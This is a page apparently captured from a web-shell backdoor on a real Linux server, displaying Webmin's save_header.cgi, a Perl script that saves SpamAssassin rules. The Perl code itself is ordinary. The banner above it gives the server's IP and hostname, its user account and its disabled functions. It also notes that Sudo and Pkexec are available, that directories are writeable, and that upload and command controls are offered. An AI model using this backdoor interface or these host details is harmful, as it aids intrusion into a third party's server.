Private
Server IP : 195.201.23.43  /  Your IP : 3.137.214.24
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/spam/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/spam/save_header.cgi
#!/usr/bin/perl
# save_header.cgi
# Save custom header and body tests

require './spam-lib.pl';
&ReadParse();
&set_config_file_in(\%in);
&can_use_check("header");
&error_setup($text{'header_err'});
&execute_before("header");
&lock_spam_files();
$conf = &get_config();

if (!$module_info{'usermin'}) {
	&parse_yes_no($conf, "allow_user_rules");
	}

@header = &parse_table("header", \&header_parser);
&save_directives($conf, "header", \@header, 1);

@oldbody = ( &find("body", $conf),
	     &find("rawbody", $conf),
	     &find("fullbody", $conf),
	     &find("full", $conf) );
@body = &parse_table("body", \&body_parser);
&save_directives($conf, \@oldbody, \@body, 0);

@uri = &parse_table("uri", \&uri_parser);
&save_directives($conf, "uri", \@uri, 1);

@meta = &parse_table("meta", \&meta_parser);
&save_directives($conf, "meta", \@meta, 1);

@score = &parse_table("score", \&score_parser);
&save_directives($conf, 'score', \@score, 1);

@describe = &parse_table("describe", \&describe_parser);
&save_directives($conf, 'describe', \@describe, 1);

&flush_file_lines();
&unlock_spam_files();
&execute_after("header");
&webmin_log("header");
&redirect($redirect_url);

# header_parser(rowname, value, ...)
sub header_parser
{
return undef if ($_[1] eq '');
$_[1] =~ /^\S+$/ || &error(&text('header_ename', $_[1]));
if ($_[3] eq 'eval') {
	$_[4] =~ /^\S+\(.*\)$/ || &error(&text('header_eeval', $_[4]));
	return "$_[1] eval:$_[4]";
	}
elsif ($_[3] eq 'exists') {
	$_[2] =~ /^\S+$/ || &error(&text('header_eheader', $_[2]));
	return "$_[1] exists:$_[2]";
	}
else {
	$_[2] =~ /^\S+$/ || &error(&text('header_eheader', $_[2]));
	$_[4] =~ /^\/(.*)\/\S*$/ || &error(&text('header_eregexp', $_[4]));
	return "$_[1] $_[2] $_[3] $_[4]".($_[5] ? " if-unset: $_[5]" : "");
	}
}

# body_parser(rowname, value, ...)
sub body_parser
{
return undef if ($_[1] eq '');
$_[1] =~ /^\S+$/ || &error(&text('header_ename', $_[1]));
local $v;
if ($_[3] == 0) {
	$_[4] =~ /^\/(.*)\/\S*$/ || &error(&text('header_eregexp', $_[4]));
	$v = "$_[1] $_[4]";
	}
else {
	$_[4] =~ /^\S+\(.*\)$/ || &error(&text('header_eeval', $_[4]));
	$v = "$_[1] eval:$_[4]";
	}
return { 'name' => $_[2] == 0 ? 'body' :
		   $_[2] == 1 ? 'rawbody' :
		   $_[2] == 2 ? 'fullbody' : 'full',
	 'value' => $v };
}

sub uri_parser
{
return undef if ($_[1] eq '');
$_[1] =~ /^\S+$/ || &error(&text('header_ename', $_[1]));
$_[2] =~ /^\/(.*)\/\S*$/ || &error(&text('header_eregexp', $_[2]));
return "$_[1] $_[2]";
}

sub meta_parser
{
return undef if ($_[1] eq '');
$_[1] =~ /^\S+$/ || &error(&text('header_ename', $_[1]));
$_[2] =~ /\S/ || &error(&text('header_emeta', $_[1]));
return "$_[1] $_[2]";
}

sub score_parser
{
return undef if (!$_[1]);
$_[1] =~ /^\S+$/ || &error(&text('score_ename', $_[1]));
$_[2] =~ /^\-?\d+(\.\d+)?$/ || $_[2] =~ /^\-?\.\d+$/ ||
	&error(&text('score_epoints', $_[2]));
return "$_[1] $_[2]";
}

sub describe_parser
{
return undef if (!$_[1]);
$_[1] =~ /^\S+$/ || &error(&text('score_ename', $_[1]));
$_[2] =~ /\S/ || &error(&text('score_edesc', $_[1]));
return "$_[1] $_[2]";
}


Private